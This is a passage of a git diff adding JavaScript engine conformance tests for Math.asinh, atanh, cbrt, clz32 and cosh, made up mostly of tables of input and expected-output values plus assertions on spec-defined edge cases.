+ [415.7354736328125, 6.723197804327891],
+ [417.193603515625, 6.726699007993023],
+ [420.874755859375, 6.735483889307782],
+ [429.2635498046875, 6.755219602793124],
+ [429.756103515625, 6.756366380816258],
+ [433.9931640625, 6.766177290841293],
+ [434.0106201171875, 6.766217511883346],
+ [440.073974609375, 6.780091308338912],
+ [450.2220458984375, 6.802889310303153],
+ [455.017578125, 6.813484439494547],
+ [457.1668701171875, 6.818196843455478],
+ [457.5068359375, 6.818940201487998],
+ [459.2913818359375, 6.822833193143805],
+ [459.492431640625, 6.82327083544577],
+ [459.743896484375, 6.823817951018],
+ [464.888427734375, 6.834945773756887],
+ [464.96630859375, 6.835113285253827],
+ [467.6949462890625, 6.840964582694129],
+ [468.86767578125, 6.84346890521034],
+ [470.5927734375, 6.847141429556457],
+ [481.109619140625, 6.869243403190376],
+ [487.4595947265625, 6.882355637062964],
+ [488.521484375, 6.884531678915821],
+ [492.8812255859375, 6.89341643293734],
+ [494.0684814453125, 6.895822338701104],
+ [496.4613037109375, 6.900653737167637],
+ [716.154052734375, 7.2670429692740965],
+ [1799.92578125, 8.188647968122073],
+ [3564.845703125, 8.872023251113289],
+ [7139.869140625, 9.566596912986167],
+ [12081.22265625, 10.092554861905608],
+ [22810.2421875, 10.728112113864427],
+ [46598.96875, 11.442480870715618],
+ [108493.375, 12.28759157077177],
+ [153860.8125, 12.636950838344218],
+ [307019.5, 13.327813723030063],
+ [682577.25, 14.126778167009777],
+ [1788919, 15.090269265334971],
+ [3769169, 15.835512291283944],
+ [4327820, 15.973721689554742],
+ [11044024, 16.910547205715446],
+ [21423208, 17.573132558903225],
+ [62828288, 18.649063156437965],
+ [70207360, 18.760110887365155],
+ [154231424, 19.547111966180875],
+ [294509056, 20.193967491567523],
+ [1070557184, 21.484592263156223],
+ [1957922816, 22.088297141021556],
+ [3912507392, 22.780591462699917],
+ [7279233024, 23.401438520318692],
+ [9665245184, 23.684949498080787],
+ [22627590144, 24.5355829820426],
+ [60601991168, 25.520740767599584],
+ [134018236416, 26.31438890085422],
+ [204864946176, 26.73876398039979],
+ [284346286080, 27.06660583008718],
+ [914576637952, 28.234874284944635],
+ [1581915832320, 28.78280496108106]
+];
+
+for (var [x, y] of sinh_data)
+ assertNear(Math.asinh(x), y);
+
+assertNear(Math.asinh(1e300), 691.4686750787737);
+assertNear(Math.asinh(1e-300), 1e-300);
+assertNear(Math.asinh(1e-5), 0.000009999999999833334);
+assertNear(Math.asinh(0.3), 0.29567304756342244);
+assertNear(Math.asinh(1), 0.881373587019543);
+
+for (var i = 0; i <= 80; i++) {
+ var x = (i - 40) / 4;
+ assertNear(Math.asinh(Math.sinh(x)), x);
+}
+
+for (var i = -20; i < 20; i++)
+ assertNear(Math.asinh(Math.sinh(i)), i);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/asinh-exact.js b/js/src/tests/non262/Math/asinh-exact.js
new file mode 100644
index 0000000000..49463d01fc
--- /dev/null
+++ b/js/src/tests/non262/Math/asinh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.asinh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.asinh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.asinh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.asinh(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.asinh(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.asinh(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/atanh-approx.js b/js/src/tests/non262/Math/atanh-approx.js
new file mode 100644
index 0000000000..fcf61892db
--- /dev/null
+++ b/js/src/tests/non262/Math/atanh-approx.js
@@ -0,0 +1,280 @@
+var tanh_data = [
+ [-0.9999983310699463, -6.998237084679027],
+ [-0.9999978542327881, -6.87257975132917],
+ [-0.999992847442627, -6.2705920974657525],
+ [-0.9999861717224121, -5.940967614084813],
+ [-0.9999828338623047, -5.832855225378502],
+ [-0.9999399185180664, -5.20646301208756],
+ [-0.9998834133148193, -4.8749821841810785],
+ [-0.9998509883880615, -4.752279497280338],
+ [-0.9996016025543213, -4.260504202858904],
+ [-0.9993612766265869, -4.0244334353203115],
+ [-0.9989283084869385, -3.7655641082999236],
+ [-0.9969782829284668, -3.246782610980921],
+ [-0.9950058460235596, -2.9950671179940938],
+ [-0.9942638874053955, -2.9256242749609536],
+ [-0.990715742111206, -2.6839646283308363],
+ [-0.9903340339660645, -2.663723350226518],
+ [-0.9760982990264893, -2.207464998348322],
+ [-0.975830078125, -2.201817459680556],
+ [-0.9728245735168457, -2.1424542308291437],
+ [-0.9643559455871582, -2.0046686756020917],
+ [-0.9377224445343018, -1.7188337346177065],
+ [-0.9362406730651855, -1.7066940482565154],
+ [-0.9310147762298584, -1.6659543005533146],
+ [-0.9284839630126953, -1.6472838718760747],
+ [-0.9270248413085938, -1.6368067340881562],
+ [-0.9075665473937988, -1.5135473477311114],
+ [-0.897477388381958, -1.4590986086331497],
+ [-0.8920106887817383, -1.431681573516303],
+ [-0.8776559829711914, -1.365471286049011],
+ [-0.864722728729248, -1.3117705583444539],
+ [-0.8482067584991455, -1.249725893334944],
+ [-0.8056559562683105, -1.1145246028592257],
+ [-0.8048388957977295, -1.112200609756455],
+ [-0.7801985740661621, -1.0458778330822556],
+ [-0.7749934196472168, -1.032711173436253],
+ [-0.7619285583496094, -1.0007967281362184],
+ [-0.7504425048828125, -0.9739672824457072],
+ [-0.7495596408843994, -0.9719492983286864],
+ [-0.7481319904327393, -0.968698942014487],
+ [-0.7459518909454346, -0.9637657636705832],
+ [-0.7401137351989746, -0.9507308314464193],
+ [-0.7289731502532959, -0.9265325319867653],
+ [-0.7226788997650146, -0.9132299082876396],
+ [-0.7161557674407959, -0.8997082193533088],
+ [-0.7017018795013428, -0.8706453720344796],
+ [-0.7013418674468994, -0.86993650130945],
+ [-0.691054105758667, -0.8499705913361888],
+ [-0.6847054958343506, -0.837919455842005],
+ [-0.6838164329528809, -0.8362476144993315],
+ [-0.6747090816497803, -0.8193374156276964],
+ [-0.6575610637664795, -0.7885046044142132],
+ [-0.6522045135498047, -0.7791255597799839],
+ [-0.6261923313140869, -0.7351275788820003],
+ [-0.623173713684082, -0.7301771459970386],
+ [-0.6067488193511963, -0.7037597526130627],
+ [-0.5838055610656738, -0.6682166303197608],
+ [-0.579524040222168, -0.6617457665293066],
+ [-0.5760939121246338, -0.656596458857398],
+ [-0.5654678344726562, -0.6408350116350283],
+ [-0.5578761100769043, -0.6297442839791668],
+ [-0.5523209571838379, -0.6217149641475687],
+ [-0.5396339893341064, -0.6036390747171698],
+ [-0.5128989219665527, -0.5666556256064771],
+ [-0.5087778568267822, -0.5610793900942042],
+ [-0.4977825880050659, -0.546353950571504],
+ [-0.4913865327835083, -0.5378865967606703],
+ [-0.48976075649261475, -0.5357455496477738],
+ [-0.48493504524230957, -0.5294166456244711],
+ [-0.4479050636291504, -0.4820764946679979],
+ [-0.4461095333099365, -0.4798325976916711],
+ [-0.4429593086242676, -0.47590653371561276],
+ [-0.42827916145324707, -0.45778739362936793],
+ [-0.40590059757232666, -0.4306933608076879],
+ [-0.40029656887054443, -0.4240020382545707],
+ [-0.3961341381072998, -0.4190551379319939],
+ [-0.3836275339126587, -0.40430627175908734],
+ [-0.36686253547668457, -0.3847928551425507],
+ [-0.3657644987106323, -0.38352464227459343],
+ [-0.33507001399993896, -0.3485286317501442],
+ [-0.32572221755981445, -0.3380352468276522],
+ [-0.3191967010498047, -0.3307524237890151],
+ [-0.3000025749206543, -0.3095224337886503],
+ [-0.29665136337280273, -0.3058438250228025],
+ [-0.2944457530975342, -0.3034271164344305],
+ [-0.2872810363769531, -0.29560018347246825],
+ [-0.27738428115844727, -0.28484608203169437],
+ [-0.2390844225883484, -0.2438028008332661],
+ [-0.23685944080352783, -0.24144425169391517],
+ [-0.2253856658935547, -0.2293228153248168],
+ [-0.22283810377120972, -0.22664053064745143],
+ [-0.21552443504333496, -0.21895773601143995],
+ [-0.2153375744819641, -0.21876178107952995],
+ [-0.21016258001327515, -0.21334143320771737],
+ [-0.20250272750854492, -0.2053409277979887],
+ [-0.19156384468078613, -0.19396008474133075],
+ [-0.18251943588256836, -0.18458771439322938],
+ [-0.17464947700500488, -0.17645844608618066],
+ [-0.15646183490753174, -0.15775766677189154],
+ [-0.15580910444259644, -0.15708862621964176],
+ [-0.15365445613861084, -0.15488112515549593],
+ [-0.122499018907547, -0.12311733609904851],
+ [-0.1088167130947113, -0.10924929296737837],
+ [-0.08792558312416077, -0.08815322150790302],
+ [-0.08401328325271606, -0.08421178632314608],
+ [-0.06121261417865753, -0.06128924075509796],
+ [-0.05341699719429016, -0.05346789060550386],
+ [-0.05047759413719177, -0.05052053189238029],
+ [-0.02924579381942749, -0.029254136237332657],
+ [-0.02485968917608261, -0.02486481220617492],
+ [-0.020469173789024353, -0.02047203328100153],
+ [-0.01882001757621765, -0.018822240021756347],
+ [-0.016152501106262207, -0.016153906073109205],
+ [-0.0032715508714318275, -0.003271562543358962],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.3050326092288745e-8],
+ [5.9392490925347374e-8, 5.939249092534745e-8],
+ [1.166764889148908e-7, 1.1667648891489133e-7],
+ [2.3799674409019644e-7, 2.3799674409020094e-7],
+ [4.684659415943315e-7, 4.684659415943658e-7],
+ [9.382699772686465e-7, 9.382699772689218e-7],
+ [0.00000110398559627356, 0.0000011039855962740086],
+ [0.0000032917760108830407, 0.0000032917760108949305],
+ [0.00000751721381675452, 0.000007517213816896115],
+ [0.000015114666894078255, 0.000015114666895229252],
+ [0.00002986399340443313, 0.00002986399341331128],
+ [0.00003387028118595481, 0.000033870281198906756],
+ [0.00009066011989489198, 0.00009066012014327826],
+ [0.00021949532674625516, 0.0002194953302712184],
+ [0.00043952150736004114, 0.0004395215356621756],
+ [0.0006333151832222939, 0.0006333152678940465],
+ [0.001115123275667429, 0.0011151237378863419],
+ [0.001962467096745968, 0.001962469616086656],
+ [0.005553754046559334, 0.005553811147953338],
+ [0.007324676960706711, 0.0073248079567425],
+ [0.008691128343343735, 0.008691347183450786],
+ [0.011912941932678223, 0.011913505535037906],
+ [0.02993336319923401, 0.029942308168570204],
+ [0.05124260485172272, 0.05128752666822782],
+ [0.05473744869232178, 0.05479221508125444],
+ [0.06158891320228577, 0.061666963819518306],
+ [0.09375360608100891, 0.09402975380882211],
+ [0.09442159533500671, 0.09470370926367391],
+ [0.09443172812461853, 0.09471393321406026],
+ [0.09943729639053345, 0.09976699249016487],
+ [0.11201295256614685, 0.11248498303558895],
+ [0.12310260534286499, 0.12373016402339168],
+ [0.13562965393066406, 0.13647060950861248],
+ [0.13763350248336792, 0.13851257866094746],
+ [0.14749455451965332, 0.14857829980464834],
+ [0.1618971824645996, 0.16333433166790448],
+ [0.17051106691360474, 0.17219298693637355],
+ [0.17051833868026733, 0.17220047646299907],
+ [0.18562912940979004, 0.18780647318150087],
+ [0.18898820877075195, 0.1912876932893582],
+ [0.23206615447998047, 0.23637212433914523],
+ [0.23480379581451416, 0.2392675448267427],
+ [0.2646920680999756, 0.27114729033023005],
+ [0.2794986963272095, 0.2871382059344433],
+ [0.28789305686950684, 0.2962673858386819],
+ [0.292596697807312, 0.30140373665239234],
+ [0.3101649284362793, 0.320727882769785],
+ [0.3109246492385864, 0.3215686893944558],
+ [0.31145012378692627, 0.3221505056451929],
+ [0.3271782398223877, 0.3396649461699478],
+ [0.3574345111846924, 0.37394153436545424],
+ [0.3593693971633911, 0.37616159223090223],
+ [0.35960352420806885, 0.37643046596933716],
+ [0.3626827001571655, 0.3799714809649667],
+ [0.38961827754974365, 0.4113499159905353],
+ [0.3904266357421875, 0.41230330080214],
+ [0.3981136083602905, 0.4214052375603139],
+ [0.411507248878479, 0.43742438709579096],
+ [0.4120509624481201, 0.43807911823743495],
+ [0.41868770122528076, 0.4460997186945703],
+ [0.42136549949645996, 0.4493511447897729],
+ [0.4516327381134033, 0.48674948990473677],
+ [0.4538639783859253, 0.4895560176112375],
+ [0.4655507802963257, 0.5043748446613433],
+ [0.48124635219573975, 0.5246050193978663],
+ [0.48621630668640137, 0.5310932154891663],
+ [0.4898730516433716, 0.5358932909903701],
+ [0.5024838447570801, 0.5526234425942533],
+ [0.5074074268341064, 0.5592320547729962],
+ [0.5093221664428711, 0.5618140818296767],
+ [0.5143489837646484, 0.5686253097655146],
+ [0.5154285430908203, 0.5700943191671631],
+ [0.5234100818634033, 0.5810250825991418],
+ [0.5274472236633301, 0.5866018515043636],
+ [0.5309803485870361, 0.5915094458340507],
+ [0.5477793216705322, 0.6152030999229688],
+ [0.5577394962310791, 0.6295459624918965],
+ [0.5582785606384277, 0.6303287742357745],
+ [0.5843560695648193, 0.6690521906099505],
+ [0.5871362686157227, 0.6732844960442398],
+ [0.5878911018371582, 0.6744372167164567],
+ [0.5903406143188477, 0.6781887236623534],
+ [0.5945003032684326, 0.684597775489552],
+ [0.5957975387573242, 0.6866065102131665],
+ [0.5961520671844482, 0.6871563252400655],
+ [0.6005008220672607, 0.6939300827887145],
+ [0.6150004863739014, 0.7169242329194352],
+ [0.6162893772125244, 0.7189998055497108],
+ [0.6194069385528564, 0.7240422748778544],
+ [0.6285066604614258, 0.7389438896054792],
+ [0.6293842792510986, 0.7403958734869583],
+ [0.6416172981262207, 0.7609178886018204],
+ [0.6424276828765869, 0.7622965466812235],
+ [0.6437420845031738, 0.7645378650643101],
+ [0.6468508243560791, 0.769864795178161],
+ [0.6615910530090332, 0.7956379107512945],
+ [0.669950008392334, 0.8106524185805045],
+ [0.6813662052154541, 0.8316597473423232],
+ [0.6968657970428467, 0.8611812790659296],
+ [0.6981887817382812, 0.8637579113749143],
+ [0.7447831630706787, 0.9611360201710216],
+ [0.7518312931060791, 0.9771540941752986],
+ [0.7534394264221191, 0.9808634133542229],
+ [0.7567856311798096, 0.9886489208209699],
+ [0.7817282676696777, 1.0497991719828956],
+ [0.8115026950836182, 1.1314141444187586],
+ [0.814647912979126, 1.1406947755584418],
+ [0.8266689777374268, 1.1775230833699681],
+ [0.8313877582550049, 1.1926138225701433],
+ [0.8343038558959961, 1.2021323323039612],
+ [0.8416652679443359, 1.2268570644335162],
+ [0.8584413528442383, 1.2873896671573652],
+ [0.8678996562957764, 1.3245040433929398],
+ [0.8679344654083252, 1.3246451309261607],
+ [0.8800599575042725, 1.3760334877782177],
+ [0.9003539085388184, 1.4740852961194106],
+ [0.9099440574645996, 1.5271990851861994],
+ [0.9142425060272217, 1.5527768948273004],
+ [0.9149219989776611, 1.556931837197936],
+ [0.9184908866882324, 1.5792896628381612],
+ [0.9188928604125977, 1.5818663359427627],
+ [0.919395923614502, 1.5851082843320008],
+ [0.9296839237213135, 1.6560555223295368],
+ [0.9298396110534668, 1.6572041418041492],
+ [0.9352962970733643, 1.6990986433619266],
+ [0.9376416206359863, 1.718164398807965],
+ [0.9410912990570068, 1.7475084077246632],
+ [0.962122917175293, 1.9737180163455101],
+ [0.9748215675354004, 2.1811227771083783],
+ [0.9769454002380371, 2.2257214499698255],
+ [0.985663890838623, 2.4654635601650536],
+ [0.9880380630493164, 2.5565869228142004],
+ [0.9928233623504639, 2.8132383539094192],
+ [1e-300, 1e-300],
+ [0.00001, 0.000010000000000333334],
+ [0.3, 0.3095196042031117],
+ [1e-30, 1e-30],
+ [1e-10, 1e-10],
+];
+
+var sloppy_tolerance = 2; // FIXME
+
+for (var [x, y] of tanh_data)
+ assertNear(Math.atanh(x), y, sloppy_tolerance);
+
+assertNear(Math.atanh(+3 / 5), +Math.log(2), sloppy_tolerance);
+assertNear(Math.atanh(-3 / 5), -Math.log(2), sloppy_tolerance);
+
+for (var i = -1; i < 1; i += 0.05)
+ assertNear(Math.atanh(Math.tanh(i)), i, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/atanh-exact.js b/js/src/tests/non262/Math/atanh-exact.js
new file mode 100644
index 0000000000..f49bdb1ac4
--- /dev/null
+++ b/js/src/tests/non262/Math/atanh-exact.js
@@ -0,0 +1,35 @@
+// Properties of Math.atanh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.atanh(NaN), NaN);
+
+// If x is less than −1, the result is NaN.
+assertEq(Math.atanh(-ONE_PLUS_EPSILON), NaN);
+assertEq(Math.atanh(-Number.MAX_VALUE), NaN);
+assertEq(Math.atanh(-Infinity), NaN);
+
+for (var i = -5; i < -1; i += 0.1)
+ assertEq(Math.atanh(i), NaN);
+
+// If x is greater than 1, the result is NaN.
+assertEq(Math.atanh(ONE_PLUS_EPSILON), NaN);
+assertEq(Math.atanh(Number.MAX_VALUE), NaN);
+assertEq(Math.atanh(Infinity), NaN);
+
+for (var i = +5; i > +1; i -= 0.1)
+ assertEq(Math.atanh(i), NaN);
+
+// If x is −1, the result is −∞.
+assertEq(Math.atanh(-1), -Infinity);
+
+// If x is +1, the result is +∞.
+assertEq(Math.atanh(+1), Infinity);
+
+// If x is +0, the result is +0.
+assertEq(Math.atanh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.atanh(-0), -0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/browser.js b/js/src/tests/non262/Math/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Math/browser.js
diff --git a/js/src/tests/non262/Math/cbrt-approx.js b/js/src/tests/non262/Math/cbrt-approx.js
new file mode 100644
index 0000000000..1f54bb5a62
--- /dev/null
+++ b/js/src/tests/non262/Math/cbrt-approx.js
@@ -0,0 +1,17 @@
+assertEq(Math.cbrt(1), 1);
+assertEq(Math.cbrt(-1), -1);
+
+assertNear(Math.cbrt(1e-300), 1e-100);
+assertNear(Math.cbrt(-1e-300), -1e-100);
+
+var cbrt_data = [
+ [ Math.E, 1.3956124250860895 ],
+ [ Math.PI, 1.4645918875615231 ],
+ [ Math.LN2, 0.8849970445005177 ],
+ [ Math.SQRT2, 1.1224620483093728 ]
+];
+
+for (var [x, y] of cbrt_data)
+ assertNear(Math.cbrt(x), y);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/cbrt-exact.js b/js/src/tests/non262/Math/cbrt-exact.js
new file mode 100644
index 0000000000..e0b7289f03
--- /dev/null
+++ b/js/src/tests/non262/Math/cbrt-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.cbrt that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.cbrt(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.cbrt(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.cbrt(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.cbrt(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.cbrt(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/clz32.js b/js/src/tests/non262/Math/clz32.js
new file mode 100644
index 0000000000..0062676365
--- /dev/null
+++ b/js/src/tests/non262/Math/clz32.js
@@ -0,0 +1,40 @@
+// Undefined and NaN end up as zero after ToUint32
+assertEq(Math.clz32(), 32);
+assertEq(Math.clz32(NaN), 32);
+assertEq(Math.clz32.call(), 32);
+// 0
+assertEq(Math.clz32(null), 32);
+assertEq(Math.clz32(false), 32);
+// 1
+assertEq(Math.clz32(true), 31);
+// 3
+assertEq(Math.clz32(3.5), 30);
+// NaN -> 0
+assertEq(Math.clz32({}), 32);
+// 2
+assertEq(Math.clz32({valueOf: function() { return 2; }}), 30);
+// 0 -> 0
+assertEq(Math.clz32([]), 32);
+assertEq(Math.clz32(""), 32);
+// NaN -> 0
+assertEq(Math.clz32([1, 2, 3]), 32);
+assertEq(Math.clz32("bar"), 32);
+// 15
+assertEq(Math.clz32("15"), 28);
+
+
+assertEq(Math.clz32(0x80000000), 0);
+assertEq(Math.clz32(0xF0FF1000), 0);
+assertEq(Math.clz32(0x7F8F0001), 1);
+assertEq(Math.clz32(0x3FFF0100), 2);
+assertEq(Math.clz32(0x1FF50010), 3);
+assertEq(Math.clz32(0x00800000), 8);
+assertEq(Math.clz32(0x00400000), 9);
+assertEq(Math.clz32(0x00008000), 16);
+assertEq(Math.clz32(0x00004000), 17);
+assertEq(Math.clz32(0x00000080), 24);
+assertEq(Math.clz32(0x00000040), 25);
+assertEq(Math.clz32(0x00000001), 31);
+assertEq(Math.clz32(0), 32);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Math/cosh-approx.js b/js/src/tests/non262/Math/cosh-approx.js
new file mode 100644
index 0000000000..d724aa2946
--- /dev/null
+++ b/js/src/tests/non262/Math/cosh-approx.js
@@ -0,0 +1,276 @@
+assertEq(Math.cosh(1000), Infinity);
+assertEq(Math.cosh(Number.MAX_VALUE), Infinity);
+assertNear(Math.cosh(1e-30), 1);
+assertNear(Math.cosh(1e-10), 1);
+
+var cosh_data = [
+ [0.0016914556651292944, 1.0000014305114746],
+ [0.001953124689559275, 1.0000019073486328],
+ [0.003782208044661295, 1.000007152557373],
+ [0.005258943946801101, 1.000013828277588],
+ [0.005859366618129203, 1.0000171661376953],
+ [0.010961831992188852, 1.0000600814819336],
+ [0.015285472131830425, 1.0001168251037598],
+ [0.017249319093529877, 1.0001487731933594],
+ [0.028218171738655373, 1.0003981590270996],
+ [0.03573281468231457, 1.000638484954834],
+ [0.046287402472878776, 1.0010714530944824],
+ [0.07771996527168971, 1.0030217170715332],
+ [0.0998975930860278, 1.0049939155578613],
+ [0.13615938768032465, 1.0092840194702148],
+ [0.21942279004958354, 1.024169921875],
+ [0.3511165938166055, 1.0622773170471191],
+ [0.48975026711288183, 1.1223440170288086],
+ [0.692556883708491, 1.2495574951171875],
+ [0.954530572221414, 1.4912219047546387],
+ [1.307581416910453, 1.983847141265869],
+ [1.4035188779741334, 2.1576128005981445],
+ [1.5250070845427517, 2.406397819519043],
+ [1.8905372013072799, 3.386958122253418],
+ [2.1735673399948254, 4.451677322387695],
+ [2.625091127868242, 6.939132690429686],
+ [2.737434918695162, 7.756023406982421],
+ [2.8740317167801948, 8.88236999511719],
+ [2.97998639328949, 9.869171142578123],
+ [3.516549380542481, 16.848876953125],
+ [3.51867003468025, 16.884582519531254],
+ [3.593185165198829, 18.18859100341797],
+ [3.6273672142963385, 18.82012176513672],
+ [3.646553244410946, 19.184181213378906],
+ [3.872413451393967, 24.03952026367187],
+ [3.972085568933329, 26.556991577148434],
+ [4.022209178119238, 27.921104431152337],
+ [4.168428891496629, 32.31466674804686],
+ [4.240546229861005, 34.730087280273445],
+ [4.290698214968891, 36.51556396484376],
+ [4.352722738491574, 38.851287841796875],
+ [4.594386162629449, 49.46875],
+ [4.598500387004538, 49.67265319824219],
+ [4.7152173401856095, 55.821014404296896],
+ [4.73822104001982, 57.119781494140604],
+ [4.793733825338029, 60.37983703613279],
+ [4.8435923769530165, 63.46618652343747],
+ [4.849190310904695, 63.82241821289062],
+ [4.85767897228448, 64.36642456054685],
+ [4.880061548144127, 65.82318115234375],
+ [4.921430721025434, 68.60302734374997],
+ [4.94406835208057, 70.17358398437497],
+ [4.967000841791218, 71.80126953124997],
+ [5.016014824864732, 75.40786743164065],
+ [5.017205657609766, 75.49771118164062],
+ [5.0506448716550825, 78.06475830078126],
+ [5.0707363201405276, 79.64892578125],
+ [5.073517411135063, 79.87072753906253],
+ [5.101574796209937, 82.14324951171874],
+ [5.152357710985635, 86.4221496582031],
+ [5.167705692500117, 87.75869750976562],
+ [5.2390637098028074, 94.24942016601562],
+ [5.247023676519904, 95.00259399414062],
+ [5.258134994273664, 96.06402587890626],
+ [5.289261389093961, 99.10101318359374],
+ [5.345425863147171, 104.82595825195315],
+ [5.3555664787245885, 105.89431762695308],
+ [5.363617180711895, 106.750244140625],
+ [5.388152468690488, 109.40167236328122],
+ [5.405320225963013, 111.2959899902344],
+ [5.417698597745429, 112.68215942382815],
+ [5.445406415908933, 115.8478698730469],
+ [5.501396249028249, 122.51895141601562],
+ [5.531718947357248, 126.29083251953128],
+ [5.544277233951787, 127.88677978515626],
+ [5.547444176085567, 128.29241943359372],
+ [5.556786759298988, 129.49658203125006],
+ [5.625710723366437, 138.7365112304687],
+ [5.628934733085022, 139.18450927734378],
+ [5.634566685055491, 139.97058105468747],
+ [5.660401141376928, 143.63366699218747],
+ [5.698541939965668, 149.21765136718753],
+ [5.7078698961812995, 150.6160278320313],
+ [5.714741890601693, 151.6546020507813],
+ [5.735111323217677, 154.77532958984378],
+ [5.761781191641161, 158.95861816406253],
+ [5.763503378028959, 159.23260498046878],
+ [5.810483079631769, 166.89166259765622],
+ [5.824362807770767, 169.22418212890625],
+ [5.833939098607025, 170.85247802734372],
+ [5.861586030831371, 175.64184570312503],
+ [5.866335876872544, 176.47808837890625],
+ [5.869449614294116, 177.02844238281247],
+ [5.879497954012966, 178.81622314453122],
+ [5.893213844044451, 181.28570556640625],
+ [5.944588630523773, 190.84246826171866],
+ [5.947493525920713, 191.39764404296875],
+ [5.962341215900494, 194.26062011718753],
+ [5.9656082276276, 194.89630126953122],
+ [5.9749284849312865, 196.7212524414062],
+ [5.975165500176202, 196.76788330078128],
+ [5.981706804024238, 198.05920410156241],
+ [5.991310884439669, 199.9705200195312],
+ [6.004868209578554, 202.70001220703122],
+ [6.0159406892865155, 204.95684814453116],
+ [6.025476453825986, 206.92059326171866],
+ [6.047172064627678, 211.45886230468741],
+ [6.0479418642231595, 211.62170410156256],
+ [6.050479329955437, 212.1593627929687],
+ [6.086466833749719, 219.93341064453125],
+ [6.101870903204913, 223.3474731445312],
+ [6.1249427443985525, 228.56036376953128],
+ [6.129204755426344, 229.53656005859375],
+ [6.136241935513706, 231.1575317382813],
+ [6.153688953514383, 235.22589111328134],
+ [6.1619244798633215, 237.17108154296884],
+ [6.165012268502458, 237.90454101562506],
+ [6.187036941752032, 243.202392578125],
+ [6.191527178125454, 244.29687500000003],
+ [6.196001570568187, 245.3923950195312],
+ [6.197677082130341, 245.80389404296875],
+ [6.2133379061260285, 249.68365478515622],
+ [6.223871642756905, 252.3276367187501],
+ [6.228398760115369, 253.47253417968756],
+ [6.269692237869835, 264.1583251953126],
+ [6.276143287577458, 265.8679199218749],
+ [6.305884283737176, 273.89379882812494],
+ [6.306492908028797, 274.0605468750001],
+ [6.3065018163217115, 274.06298828125006],
+ [6.31104892482331, 275.3120117187501],
+ [6.3322712125431915, 281.2171630859374],
+ [6.343324976847916, 284.34289550781244],
+ [6.345081883725142, 284.84289550781256],
+ [6.353683609448096, 287.30358886718756],
+ [6.366114643735997, 290.8973388671876],
+ [6.373476431987165, 293.0467529296875],
+ [6.3734826803404045, 293.04858398437494],
+ [6.3862671775996915, 296.819091796875],
+ [6.389086936901673, 297.6572265625],
+ [6.424562459508495, 308.4062500000001],
+ [6.4506171773701535, 316.5472412109376],
+ [6.462221144761522, 320.24182128906256],
+ [6.468740575092418, 322.33642578125],
+ [6.472375224718483, 323.5101318359374],
+ [6.485834999462654, 327.8939208984375],
+ [6.486412623146554, 328.08337402343744],
+ [6.486812521370483, 328.214599609375],
+ [6.498698952535687, 332.1391601562501],
+ [6.521175044233963, 339.6888427734376],
+ [6.522595306993373, 340.171630859375],
+ [6.522766822935215, 340.2299804687499],
+ [6.52502285413445, 340.99841308593744],
+ [6.5445411825986985, 347.7194824218749],
+ [6.5451209675856825, 347.9211425781249],
+ [6.55061885367159, 349.8392333984375],
+ [6.560126626713879, 353.1812744140626],
+ [6.560510895819139, 353.31701660156244],
+ [6.565186990039135, 354.97302246093756],
+ [6.567067660815945, 355.64123535156233],
+ [6.588081320423386, 363.19360351562517],
+ [6.5896131163651415, 363.7503662109376],
+ [6.597598047275183, 366.66650390624983],
+ [6.608222493065004, 370.5828857421874],
+ [6.611563301604297, 371.822998046875],
+ [6.622421213257873, 375.88220214843756],
+ [6.625684248051368, 377.11071777343744],
+ [6.626950731244344, 377.58862304687483],
+ [6.630267034079059, 378.8428955078124],
+ [6.630977920761718, 379.11230468749994],
+ [6.636217452968849, 381.10388183593756],
+ [6.638857149899159, 382.1112060546874],
+ [6.641161660644278, 382.9927978515625],
+ [6.652047018118426, 387.1845703124999],
+ [6.658445560711748, 389.66992187499994],
+ [6.658790721334144, 389.8044433593749],
+ [6.675345858154136, 396.3114013671875],
+ [6.677094789236718, 397.00512695312494],
+ [6.6775691166680895, 397.1934814453124],
+ [6.679106750673113, 397.80468749999994],
+ [6.681712590609845, 398.84265136718744],
+ [6.682523938576487, 399.16638183593744],
+ [6.68274532345516, 399.2547607421874],
+ [6.685459416477178, 400.3398437499999],
+ [6.694456277839498, 403.9578857421875],
+ [6.6952522228540765, 404.27954101562517],
+ [6.6971746771142415, 405.05749511718744],
+ [6.702764738337774, 407.328125],
+ [6.7033022311799595, 407.54711914062506],
